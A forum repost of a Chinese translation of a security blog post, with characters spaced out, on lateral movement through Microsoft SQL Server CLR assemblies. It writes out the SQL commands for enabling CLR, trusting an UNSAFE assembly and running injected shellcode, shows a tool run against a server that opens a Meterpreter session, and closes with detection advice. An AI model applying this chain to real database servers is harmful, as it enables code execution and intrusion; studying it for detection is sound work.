搜索

[20515] 2021-02-14_MSSQL横向移动

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2021-02-14_MSSQL横向移动 M S S Q L 横 向 移 动 D a v i d   C a s h   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 2 - 1 4                         使 用 发 现 的 凭 证 在 环 境 中 横 向 移 动 、 在 时 间 受 限 的 操 作 过 程 中 ， 快 速 可 靠 地 使 用 一 组 新 获 得 的 凭 据 的 能 力 至 关 重 要 。 这 篇 博 客 文 章 介 绍 了 如 何 通 过 M S S Q L   C L R 自 动 执 行 横 向 移 动 ， 而 无 需 接 触 磁 盘 * 或 不 需 要 X P _ C M D S H E L L ， 以 及 如 何 防 止 和 检 测 到 这 种 情 况 。                         * 仍 然 通 过 S Q L   S e r v e r 进 程 将 D L L 临 时 写 入 磁 盘 。                         为 实 现 命 令 执 行 而 对 M S S Q L 服 务 进 行 后 期 开 发 通 常 会 利 用 X P _ C M D S H E L L 存 储 过 程 在 M S S Q L 进 程 的 上 下 文 中 运 行 操 作 系 统 命 令 。 要 使 用 此 技 术 运 行 自 定 义 代 码 ， 通 常 需 要 使 用 L O L B I N S ， 添 加 新 的 操 作 系 统 用 户 或 通 过 B C P 写 入 磁 盘 的 二 进 制 文 件 ， 这 提 供 了 明 显 的 检 测 机 会 。 可 以 在 以 下 位 置 找 到 为 此 帖 子 开 发 的 工 具 （ 吱 吱 声 ） ： h t t p s : / / g i t h u b . c o m / n c c g r o u p / n c c f s a s / t r e e / m a i n / T o o l s / S q u e a k S e n s e p o s t 先 前 已 在 本 演 示 文 稿 中 讨 论 了 将 C L R 集 成 用 于 命 令 执 行 ， 但 已 实 现 自 动 化 以 提 高 该 技 术 的 速 度 和 可 靠 性 。 S Q L   S e r v e r   C L R 集 成 集 成                         S Q L   S e r v e r   2 0 0 5 中 引 入 了 从 M S S Q L 运 行 . N E T 代 码 的 功 能 ， 并 在 后 续 版 本 中 叠 加 了 各 种 保 护 措 施 ， 以 限 制 代 码 可 以 访 问 的 内 容 。 创 建 时 将 权 限 级 别 分 配 给 程 序 集 - 例 如 ： C R E A T E   A S S E M B L Y   S Q L C L R T e s t    
权 限 集 的 三 个 选 项 是 ： 安 全 ： 本 质 上 ， 这 仅 将 M S S Q L 数 据 集 公 开 给 代 码 ， 并 且 禁 止 其 他 大 多 数 操 作 E X T E R N A L _ A C C E S S ： 这 打 开 了 访 问 基 础 服 务 器 上 某 些 资 源 的 潜 力 ， 但 不 应 允 许 直 接 执 行 代 码 不 安 全 ： 允 许 使 用 任 何 代 码 有 关 S Q L   C L R 的 详 细 M i c r o s o f t 文 档 ， 请 访 问 h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / d o t n e t / f r a m e w o r k / d a t a / a d o n e t / s q l / i n t r o d u c t i o n - t o - s q l - s e r v e r - c l r - i n t e g r a t i o n 。                         可 以 通 过 简 单 地 启 用 C L R 来 运 行 满 足 标 记 为 “   S A F E ” 的 要 求 的 代 码 ， 但 是 要 运 行 “ E X T E R N A L _ A C C E S S ” 或 “   U N S A F E ” 代 码 ， 需 要 进 行 一 些 配 置 更 改 以 及 D B A 特 权 。 对 于 2 0 1 7 年 之 前 和 之 后 的 服 务 器 版 本 ， 运 行 “   U N S A F E ”   C L R 所 需 的 初 始 步 骤 有 所 不 同 。 在 在 S Q L   S e r v e r   2 0 1 7 之 前 之 前 显 示 高 级 选 项 ： 启 用 C L R ： 将 将 程 序 集 存 储 在 其 中 的 数 据 库 配 置 为 可 信 的 。 有 趣 的 是 ， 默 认 情 况 下 ， 似 乎 已 向 M S D B 数 据 库 授 予 T R U S T W O R T H Y 权 限 ， 这 可 能 会 否 定 此 要 求 ： C R E A T E   A S S E M B L Y   S Q L C L R T e s t     F R O M   ' C : M y D B A p p S Q L C L R T e s t . d l l '     W I T H   P E R M I S S I O N _ S E T   =   S A F E ; s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; R E C O N F I G U R E s p _ c o n f i g u r e   ' c l r   e n a b l e d ' , 1 ; R E C O N F I G U R E ; A L T E R   D A T A B A S E   < C O N N E C T E D   D A T A B A S E >   S E T   T R U S T W O R T H Y   O N ;
S Q L   S e r v e r   2 0 1 7 及 更 高 版 本 及 更 高 版 本                         对 于 S Q L   S e r v e r   2 0 1 7 及 更 高 版 本 ， 引 入 了 严 格 的 安 全 性 ， 还 必 须 将 其 禁 用 。 或 者 ， 有 一 个 选 项 可 以 根 据 提 供 的 S H A 5 1 2 散 列 专 门 向 单 个 程 序 集 授 予 U N S A F E 权 限 ， 而 不 是 将 整 个 数 据 库 标 记 为 受 信 任 。 对 于 S Q L S e r v e r   2 0 1 7 及 更 高 版 本 ， 该 过 程 将 如 下 所 示 。 显 示 高 级 选 项 ： 启 用 C L R ： 将 程 序 集 的 S H A 5 1 2 哈 希 添 加 到 受 信 任 程 序 集 列 表 中 ： 从 这 一 点 出 发 ， 对 于 任 何 S Q L   S e r v e r 版 本 ， 程 序 集 的 创 建 和 调 用 都 是 相 同 的 ： 从 十 六 进 制 字 符 串 创 建 程 序 集 – 可 以 从 十 六 进 制 字 符 串 创 建 程 序 集 的 能 力 意 味 着 无 需 创 建 二 进 制 文 件 并 将 其 写 入 S Q L   S e r v e r 进 程 可 访 问 的 位 置 ： 创 建 一 个 存 储 过 程 以 从 程 序 集 中 运 行 代 码 ： 运 行 存 储 过 程 ： 代 码 运 行 后 ， 可 以 删 除 存 储 过 程 和 程 序 集 ， 删 除 受 信 任 的 哈 希 ， 并 且 可 以 将 所 有 修 改 的 安 全 设 置 恢 复 为 正 s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; R E C O N F I G U R E s p _ c o n f i g u r e   ' c l r   e n a b l e d ' , 1 ; R E C O N F I G U R E ; s p _ a d d _ t r u s t e d _ a s s e m b l y   @ h a s h =   < S H A 5 1 2   o f   D L L > ; C R E A T E   A S S E M B L Y   c l r a s s e m   f r o m   < H E X   S T R I N G >   W I T H   P E R M I S S I O N _ S E T   =   U N S A F E ; C R E A T E   P R O C E D U R E   d e b u g r u n   A S   E X T E R N A L   N A M E   c l r a s s e m . S t o r e d P r o c e d u r e s . r u n n e r ; d e b u g r u n
常 。 下 面 显 示 了 一 个 用 于 实 现 此 目 的 的 S Q L 查 询 示 例 ， 尽 管 应 注 意 ， 这 并 未 考 虑 安 全 设 置 的 初 始 配 置 是 什 么 ： 对 于 S Q L   S e r v e r   2 0 1 7 及 更 高 版 本 ： 在 S Q L   S e r v e r   2 0 1 7 之 前 ： 所 有 版 本 ：                         此 时 ， S Q L   S e r v e r 进 程 正 在 执 行 提 供 给 它 的 任 何 . N E T 代 码 ， 因 此 要 利 用 它 进 行 横 向 移 动 ， 只 需 要 构 建 适 当 的 D L L 。 作 为 概 念 的 证 明 ， 产 生 了 一 个 简 单 的 程 序 集 ， 该 程 序 集 对 一 些 s h e l l c o d e 进 行 X O R 并 将 其 注 入 到 生 成 的 进 程 中 。 为 了 简 化 C L R 代 码 的 创 建 和 调 用 ， 制 作 了 执 行 以 下 操 作 的 G U I 应 用 程 序 ： 收 集 连 接 字 符 串 数 据 从 原 始 二 进 制 文 件 和 单 字 节 X O R 读 取 S h e l l c o d e 字 节 生 成 一 个 M S S Q L   C L R   D L L ， 该 D L L 对 s h e l l c o d e 进 行 X O R ， 产 生 一 个 新 进 程 并 将 s h e l l c o d e 注 入 其 中 。 计 算 D L L 的 S H A 5 1 2 哈 希 生 成 带 有 硬 编 码 参 数 的 单 个 . N E T 可 执 行 文 件 ， 以 通 过 S Q L 连 接 执 行 D L L   – 可 执 行 文 件 执 行 以 下 操 作 ： 恢 复 安 全 设 置 并 删 除 程 序 集 创 建 并 运 行 程 序 集 修 改 安 全 设 置 检 查 并 记 录 现 有 的 安 全 设 置 检 查 D B A 权 限 检 查 S Q L   S e r v e r 版 本 创 建 一 个 S Q L 连 接 以 下 屏 幕 快 照 显 示 了 生 成 带 有 连 接 字 符 串 和 C L R 程 序 集 的 独 立 可 执 行 文 件 的 过 程 。 s p _ d r o p _ t r u s t e d _ a s s e m b l y   @ h a s h = < S H A 5 1 2   o f   D L L > A L T E R   D A T A B A S E   < C O N N E C T E D   D A T A B A S E >   S E T   T R U S T W O R T H Y   O F F ; D R O P   P R O C E D U R E   d e b u g r u n ; D R O P   A S S E M B L Y   c l r a s s e m ; s p _ c o n f i g u r e   ' c l r   s t r i c t   s e c u r i t y ' , 1 ; R E C O N F I G U R E s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 0 ; R E C O N F I G U R E
从 工 作 目 录 中 的 文 件 中 加 载 C L R 程 序 集 的 代 码 ， 该 文 件 可 以 直 接 打 开 ， 也 可 以 在 工 具 中 进 行 编 辑 。 该 工 具 提 供 了 示 例 代 码 ， 但 尚 未 针 对 避 免 检 测 进 行 优 化 。 然 后 可 以 在 没 有 任 何 参 数 的 情 况 下 针 对 目 标 运 行 生 成 的 可 执 行 文 件 ： C : U s e r s u s e r D e s k t o p > l a t m o v e m s s q l o u t p u t . e x e
C : U s e r s u s e r D e s k t o p > l a t m o v e m s s q l o u t p u t . e x e R u n n i n g   w i t h   s e t t i n g s : = = = = = = = = = = S e r v e r :   1 9 2 . 1 6 8 . 4 9 . 1 5 0 P o r t :   5 5 2 8 6 D a t a b a s e :   m s d b U s e r :   d a v e = = = = = = = = = = C o n n e c t i o n   O p e n   ! M i c r o s o f t   S Q L   S e r v e r   2 0 1 2   -   1 1 . 0 . 2 1 0 0 . 6 0   ( I n t e l   X 8 6 )                 F e b   1 0   2 0 1 2   1 9 : 1 3 : 1 7                 C o p y r i g h t   ( c )   M i c r o s o f t   C o r p o r a t i o n                 E x p r e s s   E d i t i o n   o n   W i n d o w s   N T   6 . 2   < X 6 4 >   ( B u i l d   9 2 0 0 :   )   ( W O W 6 4 )   ( H y p e r v i s o r ) C h e c k i n g   f o r   D B A   P r i v s ┌ ─ ┐ │ 1 │ └ ─ ┘ G o t   D B A   P r i v s ! C h e c k i n g   w h e t h e r   A d v a n c e d   O p t i o n s   a r e   a l r e a d y   o n . │ s h o w   a d v a n c e d   o p t i o n s │                                         0 │                                         1 │                                         0 │                                         0 │ E n a b l i n g   a d v a n c e d   o p t i o n s S Q L   S e r v e r   i s   l o w e r   t h a n   2 0 1 7 . C h e c k i n g   C L R   s t a t u s ┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐ │ c l r   e n a b l e d │                     0 │                     1 │                     1 │                     1 │ └ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘ C L R   a l r e a d y   e n a b l e d D r o p p i n g   a n y   e x i s t i n g   a s s e m b l i e s   a n d   p r o c e d u r e s S Q L   v e r s i o n   i s   l o w e r   t h a n   2 0 1 7 ,   c h e c k i n g   w h e t h e r   t r u s t w o r t h y   i s   e n a b l e d   o n   t h e   c o n n e c t e d   D B : ┌ ─ ─ ─ ─ ┐ │ T r u e │ └ ─ ─ ─ ─ ┘ C r e a t i n g   t h e   a s s e m b l y C r e a t i n g   t h e   s t o r e d   p r o c e d u r e R u n n i n g   t h e   s t o r e d   p r o c e d u r e . S l e e p i n g   b e f o r e   c l e a n u p   f o r :   5 C l e a n u p = = = = = = = D r o p p i n g   p r o c e d u r e   a n d   a s s e m b l y D i s a b l i n g   a d v a n c e d   o p t i o n s   a g a i n C l e a n e d   u p . . .   a l l   d o n e .
运 行 所 需 的 s h e l l c o d e ， 在 本 例 中 建 立 一 个 M e t e r p r e t e r 会 话 ， 尽 管 显 然 可 以 运 行 任 何 s h e l l c o d e ： 已 针 对 以 下 S Q L   S e r v e r 版 本 测 试 代 码 ： M i c r o s o f t   S Q L   S e r v e r   2 0 1 9 （ R T M ） –   1 5 . 0 . 2 0 0 0 . 5 （ X 6 4 ） M i c r o s o f t   S Q L   S e r v e r   2 0 1 7 （ R T M ） –   1 4 . 0 . 1 0 0 0 . 1 6 9 （ X 6 4 ）   M i c r o s o f t   S Q L   S e r v e r   2 0 1 2   –   1 1 . 0 . 2 1 0 0 . 6 0 （ I n t e l   X 8 6 ） 检 测 与 响 应 检 测 与 响 应 最 小 化 数 据 库 凭 据 的 暴 露 并 将 适 当 的 特 权 管 理 应 用 于 S Q L 登 录 名 应 减 轻 使 用 协 议 在 底 层 操 作 系 统 上 执 行 代 码 的 负 担 。 失 败 的 话 ， 有 使 用 这 种 技 术 检 测 横 向 运 动 的 几 种 机 会 ： S Q L   S e r v e r 异 常 登 录 审 核 可 疑 事 务 ， 例 如 “   C R E A T E   A S S E M B L Y ” ， 或 所 需 的 S Q L 查 询 链 的 其 他 任 何 部 分 。 由 D L L 本 身 执 行 的 操 作 。 在 这 种 情 况 下 ， 例 如 ， 来 自 . N E T 内 部 的 C r e a t e R e m o t e T h r e a d 调 用 可 能 会 触 发 检 测 通 过 S Q L 命 令 调 用 程 序 集 的 过 程 还 会 导 致 将 几 个 具 有 不 同 名 称 的 相 同 文 件 写 入 S Q L 服 务 帐 户 的 临 时 目 录 。 下 面 的 P r o c m o n 屏 幕 截 图 显 示 了 正 在 创 建 的 文 件 和 正 在 写 入 的 . N E T 代 码 ：
通 过 调 整 文 件 权 限 以 防 止 从 C ：   W i n d o w s     T e m p   目 录 中 删 除 文 件 ， 可 以 在 s q l s e r v r . e x e 进 程 删 除 该 文 件 之 前 检 索 该 文 件 的 副 本 可 以 将 其 反 编 译 以 显 示 原 始 代 码 ： 尽 管 在 执 行 程 序 集 后 会 迅 速 删 除 证 据 ， 但 这 为 静 态 检 测 恶 意 内 容 提 供 了 额 外 的 机 会 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理